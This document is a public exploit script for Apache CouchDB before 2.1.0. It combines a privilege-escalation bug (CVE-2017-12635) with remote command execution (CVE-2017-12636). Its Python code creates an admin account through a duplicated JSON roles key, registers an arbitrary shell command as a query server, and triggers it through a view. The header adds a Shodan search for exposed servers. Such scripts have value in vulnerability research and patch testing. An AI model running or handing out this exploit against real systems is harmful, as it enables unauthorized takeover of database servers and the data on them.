Apache CouchDB < 2.1.0 - Remote Code Execution
# Title: Apache CouchDB < 2.1.0 - Remote Code Execution # Author: Cody Zacharias # Shodan Dork: port:5984 # Vendor Homepage: http://couchdb.apache.org/ # Software Link: http://archive.apache.org/dist/couchdb/source/1.6.0/ # Version: <= 1.7.0 and 2.x - 2.1.0 # Tested on: Debian # CVE : CVE-2017-12636 # References: # https://justi.cz/security/2017/11/14/couchdb-rce-npm.html # https://blog.trendmicro.com/trendlabs-security-intelligence/vulnerabilities-apache-couchdb-open-door-monero-miners/ # Proof of Concept: python exploit.py --priv -c "id" http://localhost:5984 #!/usr/bin/env python from requests.auth import HTTPBasicAuth import argparse import requests import re import sys def getVersion(): version = requests.get(args.host).json()["version"] return version def error(message): print(message) sys.exit(1) def exploit(version): with requests.session() as session: session.headers = {"Content-Type": "application/json"} # Exploit privilege escalation if args.priv: try: payload = '{"type": "user", "name": "' payload += args.user payload += '", "roles": ["_admin"], "roles": [],' payload += '"password": "' + args.password + '"}' pr = session.put(args.host + "/_users/org.couchdb.user:" + args.user, data=payload) print("[+] User " + args.user + " with password " + args.password + " successfully created.") except requests.exceptions.HTTPError: error("[-] Unable to create the user on remote host.") session.auth = HTTPBasicAuth(args.user, args.password) # Create payload try: if version == 1: session.put(args.host + "/_config/query_servers/cmd", data='"' + args.cmd + '"') print("[+] Created payload at: " + args.host + "/_config/query_servers/cmd") else: host = session.get(args.host + "/_membership").json()["all_nodes"][0] session.put(args.host + "/_node/" + host + "/_config/query_servers/cmd", data='"' + args.cmd + '"') print("[+] Created payload at: " + args.host + "/_node/" + host + "/_config/query_servers/cmd") except requests.exceptions.HTTPError as e: error("[-] Unable to create command payload: " + e) try: session.put(args.host + "/god") session.put(args.host + "/god/zero", data='{"_id": "HTP"}') except requests.exceptions.HTTPError: error("[-] Unable to create database.") # Execute payload try: if version == 1: session.post(args.host + "/god/_temp_view?limit=10", data='{"language": "cmd", "map": ""}') else: session.post(args.host + "/god/_design/zero", data='{"_id": "_design/zero", "views": {"god": {"map": ""} }, "language": "cmd"}') print("[+] Command executed: " + args.cmd) except requests.exceptions.HTTPError: error("[-] Unable to execute payload.") print("[*] Cleaning up.") # Cleanup database try: session.delete(args.host + "/god") except requests.exceptions.HTTPError: error("[-] Unable to remove database.") # Cleanup payload try: if version == 1: session.delete(args.host + "/_config/query_servers/cmd") else: host = session.get(args.host + "/_membership").json()["all_nodes"][0] session.delete(args.host + "/_node" + host + "/_config/query_servers/cmd") except requests.exceptions.HTTPError: error("[-] Unable to remove payload.") def main(): version = getVersion() print("[*] Detected CouchDB Version " + version) vv = version.replace(".", "") v = int(version[0]) if v == 1 and int(vv) <= 170: exploit(v) elif v == 2 and int(vv) < 211: exploit(v) else: print("[-] Version " + version + " not vulnerable.") sys.exit(0) if __name__ == "__main__": ap = argparse.ArgumentParser( description="Apache CouchDB JSON Remote Code Execution Exploit (CVE-2017-12636)") ap.add_argument("host", help="URL (Example: http://127.0.0.1:5984).") ap.add_argument("-c", "--cmd", help="Command to run.") ap.add_argument("--priv", help="Exploit privilege escalation (CVE-2017-12635).", action="store_true") ap.add_argument("-u", "--user", help="Admin username (Default: guest).", default="guest") ap.add_argument("-p", "--password", help="Admin password (Default: guest).", default="guest") args = ap.parse_args() main() |